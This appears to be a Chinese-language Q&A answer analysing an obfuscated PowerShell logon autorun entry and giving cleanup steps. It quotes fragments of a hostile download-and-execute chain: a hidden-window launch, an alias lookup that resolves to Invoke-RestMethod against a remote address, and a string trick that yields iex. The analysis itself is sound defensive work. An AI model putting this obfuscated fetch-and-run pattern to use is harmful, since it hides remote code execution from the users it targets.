PAYATHON 2026

Autoruns 登录启动项中的这条 PowerShell 命令会执行什么操作?

数据阿明

这条命令旨在以隐藏窗口启动 PowerShell,从远程地址获取内容,再交给 Invoke-Expression 执行。它还利用别名查询和字符串替换来隐藏关键命令名称。由于它出现在 Autoruns 的 Logon 区域,应视为高度可疑的登录启动项。

仅凭这条启动命令,无法确定服务器返回的具体代码,也无法确认它是否已经成功执行。

启动参数的作用

  • -NoProfile:不加载 PowerShell 的配置文件。
  • -ExecutionPolicy Bypass:请求当前 PowerShell 进程使用 Bypass 执行策略,减少执行策略带来的阻止和提示。这不会授予管理员权限。
  • -WindowStyle Hidden:以隐藏窗口方式启动,降低用户察觉的可能性。
  • -Command:执行后面引号中的命令。

这些参数也常用于管理脚本,但与远程内容执行、命令混淆和登录启动项同时出现时,风险很高。

引号中的命令如何工作

第一段是:

sal psv1 C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe

sal 是 Set-Alias 的别名。这里创建了一个名为 psv1 的别名,指向 powershell.exe。后续命令没有使用 psv1,所以它不参与当前可见的下载和执行链。远程返回的代码是否使用它,无法从现有材料判断。

第二段中的关键表达式是:

gal ?rm

gal 是 Get-Alias 的别名,? 在这里是匹配一个字符的通配符。在标准 Windows PowerShell 别名环境中,?rm 会匹配 irm,也就是 Invoke-RestMethod。

.(gal ?rm) 会调用查询到的命令,以 45.10245905/load 作为请求目标。这里的 . 是调用命令所用的点运算符,不是地址的一部分。请求能否成功,仍取决于地址解析、网络连接和服务器响应。

管道右侧使用字符串替换:

'ROGieROGx'.Replace('ROG', '')

删除所有 ROG 后,结果是:

iex

iex 是 Invoke-Expression 的别名。外层的 .() 调用这个名称对应的命令,尝试将管道传入的内容作为 PowerShell 表达式执行。如果远程响应是可执行的 PowerShell 脚本文本,就会在当前 PowerShell 会话中运行。

能确认什么,不能确认什么

从命令文本可以确认,它包含隐藏启动、远程请求和动态执行,并对关键命令名称做了混淆。

远程载荷的具体功能则无法确认。它可能继续下载其他内容,也可能执行其他操作,但现有材料不足以判断是否涉及窃取数据、勒索或其他具体行为。响应格式、请求失败或运行环境差异,也可能导致命令未能完成预期操作。

如何安全检查和处理

不要运行原命令,也不要为了查看返回内容而直接访问其中的地址。字符串还原可以独立完成,无需连接服务器。例如,下面的检查只查看本地默认别名和字符串替换结果:

Get-Alias -Name sal, gal, irm, iex
'ROGieROGx'.Replace('ROG', '')

处理启动项时,可以按以下顺序进行:

  1. 在 Autoruns 中记录该项的完整命令、名称和实际注册位置,保留排查依据。
  2. 取消勾选该项,先阻止它在后续登录时再次启动。
  3. 如果怀疑它已经运行,断开受影响设备的网络连接,并使用可信的安全工具检查系统。
  4. 根据实际注册位置,继续检查相关文件、其他启动项和可用的执行记录。

禁用这一项只能阻止该入口再次触发,不能证明系统已经清理完成;如果远程代码此前运行过,可能已经产生其他改动。

备注:内容仅供参考。